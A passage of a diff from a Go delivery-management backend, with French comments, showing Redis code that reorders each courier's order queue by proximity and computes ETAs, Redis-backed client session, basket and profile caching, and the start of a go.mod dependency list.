report["busy_full"] = report["busy_full"].(int) + 1
|
||||
} else {
|
||||
report["busy_delivering"] = report["busy_delivering"].(int) + 1
|
||||
}
|
||||
} else if canAccept {
|
||||
report["available"] = report["available"].(int) + 1
|
||||
}
|
||||
|
||||
report["details"] = append(report["details"].([]map[string]interface{}), detail)
|
||||
}
|
||||
|
||||
return report, nil
|
||||
}
|
||||
@@ -0,0 +1,343 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"gestion/models"
|
||||
"gestion/services"
|
||||
"log"
|
||||
"math"
|
||||
"sort"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/redis/go-redis/v9"
|
||||
)
|
||||
|
||||
// CompleteDeliveryAndProcessNext marque une livraison comme terminée et optimise la queue
|
||||
func (d *Database) CompleteDeliveryAndProcessNext(deliveryman string, completedCommandID int) error {
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
|
||||
|
||||
// Retirer la commande complétée de la queue
|
||||
Redis.ZRem(RedisCtx, queueKey, strconv.Itoa(completedCommandID))
|
||||
|
||||
// Supprimer les données de la commande
|
||||
commandKey := fmt.Sprintf("queue:pending:%d", completedCommandID)
|
||||
Redis.Del(RedisCtx, commandKey)
|
||||
|
||||
// Supprimer le cache de destination
|
||||
destCacheKey := fmt.Sprintf("command:destination:%d", completedCommandID)
|
||||
Redis.Del(RedisCtx, destCacheKey)
|
||||
|
||||
// Supprimer l'ETA
|
||||
etaKey := fmt.Sprintf("command:eta:%d", completedCommandID)
|
||||
Redis.Del(RedisCtx, etaKey)
|
||||
|
||||
// Décrémenter le compteur
|
||||
counterKey := fmt.Sprintf("queue:deliveryman:%s:count", deliveryman)
|
||||
Redis.Decr(RedisCtx, counterKey)
|
||||
|
||||
log.Printf("✅ Livraison %d complétée par %s", completedCommandID, deliveryman)
|
||||
|
||||
// Vérifier s'il reste des commandes
|
||||
remainingCount, _ := Redis.ZCard(RedisCtx, queueKey).Result()
|
||||
|
||||
if remainingCount == 0 {
|
||||
d.SetDeliveryPersonStatus(deliveryman, "available", 0)
|
||||
log.Printf("🔓 Livreur %s libéré - Plus de commandes en queue", deliveryman)
|
||||
|
||||
// Chercher dans la queue générale
|
||||
go d.ProcessNextCommandInQueue(deliveryman)
|
||||
return nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 🔄 OPTIMISATION PAR PROXIMITÉ
|
||||
// ============================================
|
||||
log.Printf("🔄 Optimisation queue de %s: %d commande(s) restante(s)", deliveryman, remainingCount)
|
||||
|
||||
err := d.OptimizeDeliverymanQueueByProximity(deliveryman)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ Erreur optimisation queue: %v", err)
|
||||
// Fallback: recalculer les ETAs sans réorganiser
|
||||
d.RecalculateQueueETAs(deliveryman)
|
||||
}
|
||||
|
||||
// Récupérer la prochaine commande (maintenant la plus proche)
|
||||
nextCommand, nextETA, err := d.FindNearestCommandInQueue(deliveryman)
|
||||
if err == nil && nextCommand != nil {
|
||||
d.SetDeliveryPersonStatus(deliveryman, "busy", nextCommand.CommandID)
|
||||
log.Printf("📍 Prochaine livraison: Commande %d (ETA: %d min)", nextCommand.CommandID, nextETA)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *Database) OptimizeDeliverymanQueueByProximity(deliveryman string) error {
|
||||
livreurLat, livreurLng, err := d.GetDeliveryPersonLocation(deliveryman)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ Position livreur %s non disponible, recalcul ETAs simple", deliveryman)
|
||||
return d.RecalculateQueueETAs(deliveryman)
|
||||
}
|
||||
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
|
||||
|
||||
commandIDs, err := Redis.ZRange(RedisCtx, queueKey, 0, -1).Result()
|
||||
if err != nil || len(commandIDs) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Collecter les informations de chaque commande avec sa distance
|
||||
var commandsWithDistance []CommandWithDistance
|
||||
|
||||
for _, cmdIDStr := range commandIDs {
|
||||
commandID := extractCommandID(cmdIDStr)
|
||||
if commandID <= 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
// 1. Essayer de récupérer depuis queue:pending:{id}
|
||||
commandKey := fmt.Sprintf("queue:pending:%d", commandID)
|
||||
data, err := Redis.Get(RedisCtx, commandKey).Result()
|
||||
|
||||
var lat, lng float64
|
||||
var address string
|
||||
|
||||
if err == nil && data != "" {
|
||||
var queueItem models.CommandQueue
|
||||
if err := json.Unmarshal([]byte(data), &queueItem); err == nil {
|
||||
lat = queueItem.Lat
|
||||
lng = queueItem.Lng
|
||||
address = queueItem.Address
|
||||
}
|
||||
}
|
||||
|
||||
// 2. Si coordonnées à 0, essayer le cache command:destination:{id}
|
||||
if lat == 0 && lng == 0 {
|
||||
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
|
||||
destData, err := Redis.Get(RedisCtx, destCacheKey).Result()
|
||||
if err == nil && destData != "" {
|
||||
var coords struct {
|
||||
Lat float64 `json:"lat"`
|
||||
Lon float64 `json:"lon"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(destData), &coords); err == nil {
|
||||
lat = coords.Lat
|
||||
lng = coords.Lon
|
||||
log.Printf("📍 Coordonnées récupérées depuis cache destination pour commande %d: (%.6f, %.6f)", commandID, lat, lng)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 3. Si toujours 0, récupérer depuis la DB
|
||||
if lat == 0 && lng == 0 {
|
||||
command, err := d.GetCommandByID(commandID)
|
||||
if err == nil {
|
||||
if dLat, ok := command["dest_latitude"].(float64); ok && dLat != 0 {
|
||||
lat = dLat
|
||||
}
|
||||
if dLng, ok := command["dest_longitude"].(float64); ok && dLng != 0 {
|
||||
lng = dLng
|
||||
}
|
||||
if address == "" {
|
||||
if addr, ok := command["adresse"].(string); ok {
|
||||
address = addr
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 4. Si toujours 0, utiliser une distance très grande
|
||||
if lat == 0 && lng == 0 {
|
||||
log.Printf("⚠️ Coordonnées non disponibles pour commande %d, utilisation position par défaut", commandID)
|
||||
commandsWithDistance = append(commandsWithDistance, CommandWithDistance{
|
||||
CommandID: commandID,
|
||||
Address: address,
|
||||
Lat: 0,
|
||||
Lng: 0,
|
||||
Distance: 999999,
|
||||
EstimatedETA: 120,
|
||||
QueueItem: models.CommandQueue{
|
||||
CommandID: commandID,
|
||||
Address: address,
|
||||
Lat: 0,
|
||||
Lng: 0,
|
||||
},
|
||||
})
|
||||
continue
|
||||
}
|
||||
|
||||
// ✅ MODIFIÉ: Distance depuis la position ACTUELLE du livreur (pas chaînée)
|
||||
distance := d.CalculateDistanceBetweenPoints(livreurLat, livreurLng, lat, lng)
|
||||
|
||||
commandsWithDistance = append(commandsWithDistance, CommandWithDistance{
|
||||
CommandID: commandID,
|
||||
Address: address,
|
||||
Lat: lat,
|
||||
Lng: lng,
|
||||
Distance: distance,
|
||||
EstimatedETA: services.CalculateETA(distance),
|
||||
QueueItem: models.CommandQueue{
|
||||
CommandID: commandID,
|
||||
Address: address,
|
||||
Lat: lat,
|
||||
Lng: lng,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
if len(commandsWithDistance) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Trier par distance (la plus proche en premier)
|
||||
sort.Slice(commandsWithDistance, func(i, j int) bool {
|
||||
return commandsWithDistance[i].Distance < commandsWithDistance[j].Distance
|
||||
})
|
||||
|
||||
log.Printf("🔄 Optimisation queue de %s: %d commandes triées par proximité", deliveryman, len(commandsWithDistance))
|
||||
|
||||
// Vider la queue actuelle
|
||||
Redis.Del(RedisCtx, queueKey)
|
||||
Redis.Del(RedisCtx, fmt.Sprintf("queue:deliveryman:%s:count", deliveryman))
|
||||
|
||||
// ✅ MODIFIÉ: Recréer la queue avec ETA = distance directe depuis position livreur
|
||||
for i, cmd := range commandsWithDistance {
|
||||
var travelTime int
|
||||
var distance float64
|
||||
|
||||
if cmd.Lat != 0 && cmd.Lng != 0 {
|
||||
// ✅ Distance depuis la position ACTUELLE du livreur (pas cumulative)
|
||||
distance = d.CalculateDistanceBetweenPoints(livreurLat, livreurLng, cmd.Lat, cmd.Lng)
|
||||
travelTime = services.CalculateETA(distance)
|
||||
} else {
|
||||
distance = 0
|
||||
travelTime = 10
|
||||
}
|
||||
|
||||
// ✅ ETA = temps de trajet direct uniquement
|
||||
cmd.QueueItem.EstimatedETA = travelTime
|
||||
|
||||
score := float64(i + 1)
|
||||
|
||||
data, _ := json.Marshal(cmd.QueueItem)
|
||||
commandKey := fmt.Sprintf("queue:pending:%d", cmd.CommandID)
|
||||
Redis.Set(RedisCtx, commandKey, data, 24*time.Hour)
|
||||
|
||||
Redis.ZAdd(RedisCtx, queueKey, redis.Z{
|
||||
Score: score,
|
||||
Member: cmd.CommandID,
|
||||
})
|
||||
|
||||
d.SetCommandETAWithDetails(cmd.CommandID, travelTime, i+1)
|
||||
|
||||
log.Printf(" 📍 Position %d: Commande %d - %.2f km - ETA trajet: %d min",
|
||||
i+1, cmd.CommandID, distance, travelTime)
|
||||
}
|
||||
|
||||
Redis.Set(RedisCtx, fmt.Sprintf("queue:deliveryman:%s:count", deliveryman), len(commandsWithDistance), 0)
|
||||
|
||||
log.Printf("✅ Queue de %s optimisée: %d commandes réorganisées par proximité", deliveryman, len(commandsWithDistance))
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *Database) RecalculateQueueETAs(deliveryman string) error {
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
|
||||
|
||||
commandIDs, err := Redis.ZRange(RedisCtx, queueKey, 0, -1).Result()
|
||||
if err != nil || len(commandIDs) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
// ✅ Récupérer la position actuelle du livreur
|
||||
livreurLat, livreurLng, err := d.GetDeliveryPersonLocation(deliveryman)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ Position livreur %s non disponible pour recalcul ETA", deliveryman)
|
||||
return err
|
||||
}
|
||||
|
||||
for i, cmdIDStr := range commandIDs {
|
||||
commandID := extractCommandID(cmdIDStr)
|
||||
if commandID <= 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
commandKey := fmt.Sprintf("queue:pending:%d", commandID)
|
||||
data, err := Redis.Get(RedisCtx, commandKey).Result()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var queueItem models.CommandQueue
|
||||
if err := json.Unmarshal([]byte(data), &queueItem); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
// ✅ MODIFIÉ: ETA = distance directe depuis position livreur
|
||||
travelTime := d.CalculateETABetweenPoints(livreurLat, livreurLng, queueItem.Lat, queueItem.Lng)
|
||||
|
||||
d.SetCommandETAWithDetails(commandID, travelTime, i+1)
|
||||
|
||||
queueItem.EstimatedETA = travelTime
|
||||
updatedData, _ := json.Marshal(queueItem)
|
||||
Redis.Set(RedisCtx, commandKey, updatedData, 24*time.Hour)
|
||||
}
|
||||
|
||||
log.Printf("🔄 ETAs recalculés pour %d commandes de %s (trajet direct)", len(commandIDs), deliveryman)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *Database) UpdateQueueETAsAfterCompletion(deliveryman string) error {
|
||||
return d.RecalculateQueueETAs(deliveryman)
|
||||
}
|
||||
|
||||
// FindNearestCommandInQueue trouve la commande la plus proche du livreur
|
||||
func (d *Database) FindNearestCommandInQueue(deliveryman string) (*models.CommandQueue, int, error) {
|
||||
livreurLat, livreurLng, err := d.GetDeliveryPersonLocation(deliveryman)
|
||||
if err != nil {
|
||||
return nil, 0, fmt.Errorf("position livreur non disponible: %w", err)
|
||||
}
|
||||
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
|
||||
commandIDs, err := Redis.ZRange(RedisCtx, queueKey, 0, -1).Result()
|
||||
if err != nil || len(commandIDs) == 0 {
|
||||
return nil, 0, fmt.Errorf("queue vide")
|
||||
}
|
||||
|
||||
var nearestCommand *models.CommandQueue
|
||||
var nearestDistance float64 = math.MaxFloat64
|
||||
var nearestETA int
|
||||
|
||||
for _, cmdIDStr := range commandIDs {
|
||||
commandID := extractCommandID(cmdIDStr)
|
||||
if commandID <= 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
commandKey := fmt.Sprintf("queue:pending:%d", commandID)
|
||||
data, err := Redis.Get(RedisCtx, commandKey).Result()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var queueItem models.CommandQueue
|
||||
if err := json.Unmarshal([]byte(data), &queueItem); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
distance := d.CalculateDistanceBetweenPoints(livreurLat, livreurLng, queueItem.Lat, queueItem.Lng)
|
||||
|
||||
if distance < nearestDistance {
|
||||
nearestDistance = distance
|
||||
nearestCommand = &queueItem
|
||||
nearestETA = services.CalculateETA(distance)
|
||||
}
|
||||
}
|
||||
|
||||
if nearestCommand == nil {
|
||||
return nil, 0, fmt.Errorf("aucune commande trouvée")
|
||||
}
|
||||
|
||||
return nearestCommand, nearestETA, nil
|
||||
}
|
||||
@@ -0,0 +1,404 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"gestion/models"
|
||||
"log"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// SESSION REDIS - GESTION UTILISATEUR
|
||||
// ============================================
|
||||
|
||||
// SessionData représente une session client en Redis
|
||||
type SessionData struct {
|
||||
ClientID int `json:"client_id"`
|
||||
Username string `json:"username"`
|
||||
SessionID string `json:"session_id"`
|
||||
Role string `json:"role"`
|
||||
CreatedAt int64 `json:"created_at"`
|
||||
LastActivity int64 `json:"last_activity"`
|
||||
ExpiresAt int64 `json:"expires_at"`
|
||||
BasketVersion int `json:"basket_version"`
|
||||
PointsCache int `json:"points_cache"`
|
||||
PenaltyCache float64 `json:"penalty_cache"`
|
||||
Tags []string `json:"tags,omitempty"`
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// CRÉER UNE SESSION CLIENT
|
||||
// ============================================
|
||||
|
||||
// CreateClientSession crée une session Redis pour un client authentifié
|
||||
// Appelé depuis handlers/auth.go après LoginClient réussi
|
||||
//
|
||||
// Exemple d'utilisation:
|
||||
//
|
||||
// sessionID := uuid.New().String()
|
||||
// database.CreateClientSession(clientID, username, sessionID)
|
||||
func (d *Database) CreateClientSession(clientID int, username string, sessionID string) error {
|
||||
log.Printf("📝 [SESSION] Création session pour client: %s (ID: %d)", username, clientID)
|
||||
|
||||
sessionKey := fmt.Sprintf("session:client:%d", clientID)
|
||||
now := time.Now().Unix()
|
||||
expiresAt := now + (5 * 3600) // 5 heures
|
||||
|
||||
sessionData := SessionData{
|
||||
ClientID: clientID,
|
||||
Username: username,
|
||||
SessionID: sessionID,
|
||||
Role: "client",
|
||||
CreatedAt: now,
|
||||
LastActivity: now,
|
||||
ExpiresAt: expiresAt,
|
||||
BasketVersion: 0,
|
||||
PointsCache: 0,
|
||||
PenaltyCache: 0,
|
||||
}
|
||||
|
||||
// Sérialiser et sauvegarder
|
||||
sessionJSON, err := json.Marshal(sessionData)
|
||||
if err != nil {
|
||||
log.Printf("❌ [SESSION] Erreur sérialisation: %v", err)
|
||||
return fmt.Errorf("erreur sérialisation session: %w", err)
|
||||
}
|
||||
|
||||
ttl := time.Duration(expiresAt-now) * time.Second
|
||||
if err := Redis.Set(RedisCtx, sessionKey, sessionJSON, ttl).Err(); err != nil {
|
||||
log.Printf("❌ [SESSION] Erreur sauvegarde Redis: %v", err)
|
||||
return fmt.Errorf("erreur sauvegarde session Redis: %w", err)
|
||||
}
|
||||
|
||||
// Ajouter à l'index des sessions actives
|
||||
if err := Redis.SAdd(RedisCtx, "session:active:clients", clientID).Err(); err != nil {
|
||||
log.Printf("⚠️ [SESSION] Erreur ajout index: %v", err)
|
||||
}
|
||||
|
||||
// Charger les infos du client (points, penalty) dans le cache
|
||||
if client, err := d.GetClientByUsername(username); err == nil {
|
||||
sessionData.PointsCache = int(client.Point)
|
||||
sessionData.PenaltyCache = float64(client.Amende)
|
||||
sessionJSON, _ := json.Marshal(sessionData)
|
||||
Redis.Set(RedisCtx, sessionKey, sessionJSON, ttl)
|
||||
}
|
||||
|
||||
log.Printf("✅ [SESSION] Session créée pour %s - TTL: 5h", username)
|
||||
return nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// RÉCUPÉRER UNE SESSION CLIENT
|
||||
// ============================================
|
||||
|
||||
// GetClientSession récupère la session Redis d'un client
|
||||
// Retourne nil si session expirée ou inexistante
|
||||
func (d *Database) GetClientSession(clientID int) (*SessionData, error) {
|
||||
sessionKey := fmt.Sprintf("session:client:%d", clientID)
|
||||
|
||||
data, err := Redis.Get(RedisCtx, sessionKey).Result()
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [SESSION] Pas de session trouvée pour client %d", clientID)
|
||||
return nil, fmt.Errorf("session non trouvée")
|
||||
}
|
||||
|
||||
var session SessionData
|
||||
if err := json.Unmarshal([]byte(data), &session); err != nil {
|
||||
log.Printf("❌ [SESSION] Erreur désérialisation: %v", err)
|
||||
return nil, fmt.Errorf("erreur désérialisation: %w", err)
|
||||
}
|
||||
|
||||
// Vérifier si session expirée
|
||||
if time.Now().Unix() > session.ExpiresAt {
|
||||
log.Printf("⚠️ [SESSION] Session expirée pour client %d", clientID)
|
||||
Redis.Del(RedisCtx, sessionKey)
|
||||
return nil, fmt.Errorf("session expirée")
|
||||
}
|
||||
|
||||
return &session, nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// METTRE À JOUR L'ACTIVITÉ DE SESSION
|
||||
// ============================================
|
||||
|
||||
// RefreshSessionTimeout prolonge la durée de vie de la session
|
||||
// Appelé régulièrement par SessionMiddleware (chaque requête client)
|
||||
func (d *Database) RefreshSessionTimeout(clientID int) error {
|
||||
sessionKey := fmt.Sprintf("session:client:%d", clientID)
|
||||
|
||||
// Récupérer la session
|
||||
data, err := Redis.Get(RedisCtx, sessionKey).Result()
|
||||
if err != nil {
|
||||
return fmt.Errorf("session non trouvée")
|
||||
}
|
||||
|
||||
var session SessionData
|
||||
if err := json.Unmarshal([]byte(data), &session); err != nil {
|
||||
return fmt.Errorf("erreur désérialisation: %w", err)
|
||||
}
|
||||
|
||||
// Mettre à jour lastActivity et expiresAt
|
||||
now := time.Now().Unix()
|
||||
session.LastActivity = now
|
||||
session.ExpiresAt = now + (5 * 3600) // Prolonger de 5 heures
|
||||
|
||||
// Resauvegarder
|
||||
sessionJSON, _ := json.Marshal(session)
|
||||
ttl := time.Duration(session.ExpiresAt-now) * time.Second
|
||||
|
||||
if err := Redis.Set(RedisCtx, sessionKey, sessionJSON, ttl).Err(); err != nil {
|
||||
log.Printf("⚠️ [SESSION] Erreur refresh: %v", err)
|
||||
return nil // Pas critique
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// INVALIDER UNE SESSION (LOGOUT)
|
||||
// ============================================
|
||||
|
||||
// InvalidateSession supprime la session Redis (logout)
|
||||
// Appelé depuis handlers/auth.go dans LogoutClient
|
||||
func (d *Database) InvalidateSession(clientID int) error {
|
||||
sessionKey := fmt.Sprintf("session:client:%d", clientID)
|
||||
basketKey := fmt.Sprintf("session:basket:%d", clientID)
|
||||
|
||||
// Supprimer la session
|
||||
if err := Redis.Del(RedisCtx, sessionKey).Err(); err != nil {
|
||||
log.Printf("⚠️ [SESSION] Erreur suppression: %v", err)
|
||||
}
|
||||
|
||||
// Vider le panier Redis
|
||||
if err := Redis.Del(RedisCtx, basketKey).Err(); err != nil {
|
||||
log.Printf("⚠️ [SESSION] Erreur suppression panier: %v", err)
|
||||
}
|
||||
|
||||
// Retirer de l'index
|
||||
if err := Redis.SRem(RedisCtx, "session:active:clients", clientID).Err(); err != nil {
|
||||
log.Printf("⚠️ [SESSION] Erreur retrait index: %v", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ [SESSION] Session invalidée pour client %d", clientID)
|
||||
return nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// PANIER EN CACHE REDIS
|
||||
// ============================================
|
||||
|
||||
// BasketItemCache représente un item du panier en cache
|
||||
type BasketItemCache struct {
|
||||
ID int `json:"id"`
|
||||
ProductID int `json:"product_id"`
|
||||
ProductName string `json:"product_name"`
|
||||
Quantity int `json:"quantity"`
|
||||
Price float64 `json:"price"`
|
||||
Category string `json:"category"`
|
||||
AddedAt int64 `json:"added_at"`
|
||||
}
|
||||
|
||||
// GetSessionBasket récupère le panier en cache Redis
|
||||
// Retourne les items du panier avec total
|
||||
func (d *Database) GetSessionBasket(clientID int) ([]BasketItemCache, float64, error) {
|
||||
basketKey := fmt.Sprintf("session:basket:%d", clientID)
|
||||
|
||||
// Récupérer tous les items du panier
|
||||
items, err := Redis.HGetAll(RedisCtx, basketKey).Result()
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [BASKET] Pas de panier en cache pour client %d", clientID)
|
||||
return []BasketItemCache{}, 0, nil
|
||||
}
|
||||
|
||||
var basketItems []BasketItemCache
|
||||
var totalPrice float64
|
||||
|
||||
for _, itemJSON := range items {
|
||||
var item BasketItemCache
|
||||
if err := json.Unmarshal([]byte(itemJSON), &item); err != nil {
|
||||
log.Printf("⚠️ [BASKET] Erreur parsing item: %v", err)
|
||||
continue
|
||||
}
|
||||
basketItems = append(basketItems, item)
|
||||
totalPrice += item.Price * float64(item.Quantity)
|
||||
}
|
||||
|
||||
return basketItems, totalPrice, nil
|
||||
}
|
||||
|
||||
// UpdateSessionBasket met à jour le panier en cache Redis
|
||||
// Appelé après ajout/modification d'un produit au panier
|
||||
func (d *Database) UpdateSessionBasket(clientID int, basketItems []BasketItemCache) error {
|
||||
basketKey := fmt.Sprintf("session:basket:%d", clientID)
|
||||
|
||||
// Vider le panier existant
|
||||
Redis.Del(RedisCtx, basketKey)
|
||||
|
||||
// Ajouter tous les items
|
||||
for _, item := range basketItems {
|
||||
itemJSON, _ := json.Marshal(item)
|
||||
if err := Redis.HSet(RedisCtx, basketKey, item.ProductID, itemJSON).Err(); err != nil {
|
||||
log.Printf("⚠️ [BASKET] Erreur ajout item: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TTL: 24 heures
|
||||
if err := Redis.Expire(RedisCtx, basketKey, 24*time.Hour).Err(); err != nil {
|
||||
log.Printf("⚠️ [BASKET] Erreur TTL: %v", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ClearSessionBasket vide le panier en cache Redis
|
||||
// Appelé après validation de commande (checkout)
|
||||
func (d *Database) ClearSessionBasket(clientID int) error {
|
||||
basketKey := fmt.Sprintf("session:basket:%d", clientID)
|
||||
if err := Redis.Del(RedisCtx, basketKey).Err(); err != nil {
|
||||
log.Printf("⚠️ [BASKET] Erreur clear: %v", err)
|
||||
return nil
|
||||
}
|
||||
log.Printf("✅ [BASKET] Panier vidé pour client %d", clientID)
|
||||
return nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// UTILITAIRES SESSION
|
||||
// ============================================
|
||||
|
||||
// GetAllActiveSessions récupère toutes les sessions actives
|
||||
// Utile pour admin/stats
|
||||
func (d *Database) GetAllActiveSessions() ([]SessionData, error) {
|
||||
clientIDs, err := Redis.SMembers(RedisCtx, "session:active:clients").Result()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur récupération sessions: %w", err)
|
||||
}
|
||||
|
||||
var sessions []SessionData
|
||||
for _, clientIDStr := range clientIDs {
|
||||
var clientID int
|
||||
if _, err := fmt.Sscanf(clientIDStr, "%d", &clientID); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if session, err := d.GetClientSession(clientID); err == nil {
|
||||
sessions = append(sessions, *session)
|
||||
}
|
||||
}
|
||||
|
||||
return sessions, nil
|
||||
}
|
||||
|
||||
// GetSessionCount retourne le nombre de sessions actives
|
||||
func (d *Database) GetSessionCount() (int64, error) {
|
||||
count, err := Redis.SCard(RedisCtx, "session:active:clients").Result()
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("erreur comptage sessions: %w", err)
|
||||
}
|
||||
return count, nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// CACHE PROFIL CLIENT
|
||||
// ============================================
|
||||
|
||||
// CacheClientProfile met en cache les infos du client (pour 1h)
|
||||
func (d *Database) CacheClientProfile(client interface{}) error {
|
||||
// Récupérer le client depuis DB si c'est un username
|
||||
var clientData *models.Client
|
||||
|
||||
// Si c'est un username string
|
||||
if username, ok := client.(string); ok {
|
||||
var err error
|
||||
clientData, err = d.GetClientByUsername(username)
|
||||
if err != nil {
|
||||
return fmt.Errorf("client non trouvé: %w", err)
|
||||
}
|
||||
} else {
|
||||
// Si c'est déjà un *models.Client
|
||||
clientData = client.(*models.Client)
|
||||
}
|
||||
|
||||
cacheKey := fmt.Sprintf("cache:client:profile:%d", clientData.ID)
|
||||
|
||||
// Sérialiser
|
||||
profileJSON, err := json.Marshal(clientData)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur sérialisation: %w", err)
|
||||
}
|
||||
|
||||
// Sauvegarder avec TTL 1h
|
||||
if err := Redis.Set(RedisCtx, cacheKey, profileJSON, 1*time.Hour).Err(); err != nil {
|
||||
return fmt.Errorf("erreur cache: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ [CACHE] Profil client %d mis en cache (1h)", clientData.ID)
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetCachedClientProfile récupère le profil en cache
|
||||
func (d *Database) GetCachedClientProfile(clientID int) (*models.Client, error) {
|
||||
cacheKey := fmt.Sprintf("cache:client:profile:%d", clientID)
|
||||
|
||||
data, err := Redis.Get(RedisCtx, cacheKey).Result()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("cache miss")
|
||||
}
|
||||
|
||||
var client models.Client
|
||||
if err := json.Unmarshal([]byte(data), &client); err != nil {
|
||||
return nil, fmt.Errorf("erreur désérialisation: %w", err)
|
||||
}
|
||||
|
||||
return &client, nil
|
||||
}
|
||||
|
||||
// InvalidateClientCache invalide le cache du client
|
||||
func (d *Database) InvalidateClientCache(clientID int) error {
|
||||
cacheKey := fmt.Sprintf("cache:client:profile:%d", clientID)
|
||||
if err := Redis.Del(RedisCtx, cacheKey).Err(); err != nil {
|
||||
return fmt.Errorf("erreur invalidation: %w", err)
|
||||
}
|
||||
log.Printf("✅ [CACHE] Profil client %d invalidé", clientID)
|
||||
return nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// COMMANDES EN CACHE (POUR TRACKING)
|
||||
// ============================================
|
||||
|
||||
// CacheCommandInfo met en cache les infos d'une commande
|
||||
func (d *Database) CacheCommandInfo(commandID int, command map[string]interface{}) error {
|
||||
cacheKey := fmt.Sprintf("cache:command:%d", commandID)
|
||||
|
||||
commandJSON, err := json.Marshal(command)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur sérialisation: %w", err)
|
||||
}
|
||||
|
||||
// TTL: 4 heures
|
||||
if err := Redis.Set(RedisCtx, cacheKey, commandJSON, 4*time.Hour).Err(); err != nil {
|
||||
return fmt.Errorf("erreur cache: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetCachedCommand récupère une commande en cache
|
||||
func (d *Database) GetCachedCommand(commandID int) (map[string]interface{}, error) {
|
||||
cacheKey := fmt.Sprintf("cache:command:%d", commandID)
|
||||
|
||||
data, err := Redis.Get(RedisCtx, cacheKey).Result()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("cache miss")
|
||||
}
|
||||
|
||||
var command map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(data), &command); err != nil {
|
||||
return nil, fmt.Errorf("erreur désérialisation: %w", err)
|
||||
}
|
||||
|
||||
return command, nil
|
||||
}
|
||||
@@ -0,0 +1,53 @@
|
||||
module gestion
|
||||
|
||||
go 1.24.4
|
||||
|
||||
require (
|
||||
github.com/gin-contrib/cors v1.7.6
|
||||
github.com/gin-contrib/sessions v1.0.4
|
||||
github.com/gin-gonic/gin v1.11.0
|
||||
github.com/joho/godotenv v1.5.1
|
||||
github.com/lib/pq v1.10.9
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/bytedance/sonic v1.14.0 // indirect
|
||||
github.com/bytedance/sonic/loader v0.3.0 // indirect
|
||||
github.com/cespare/xxhash/v2 v2.3.0 // indirect
|
||||
github.com/cloudwego/base64x v0.1.6 // indirect
|
||||
github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f // indirect
|
||||
github.com/gabriel-vasile/mimetype v1.4.9 // indirect
|
||||
github.com/gin-contrib/sse v1.1.0 // indirect
|
||||
github.com/go-playground/locales v0.14.1 // indirect
|
||||
github.com/go-playground/universal-translator v0.18.1 // indirect
|
||||
github.com/go-playground/validator/v10 v10.27.0 // indirect
|
||||
github.com/goccy/go-json v0.10.5 // indirect
|
||||
github.com/goccy/go-yaml v1.18.0 // indirect
|
||||
github.com/golang-jwt/jwt/v5 v5.3.0 // indirect
|
||||
github.com/google/uuid v1.6.0 // indirect
|
||||
github.com/gorilla/context v1.1.2 // indirect
|
||||
github.com/gorilla/securecookie v1.1.2 // indirect
|
||||
github.com/gorilla/sessions v1.4.0 // indirect
|
||||
github.com/json-iterator/go v1.1.12 // indirect
|
||||
github.com/klauspost/cpuid/v2 v2.3.0 // indirect
|
||||
github.com/leodido/go-urn v1.4.0 // indirect
|
||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||
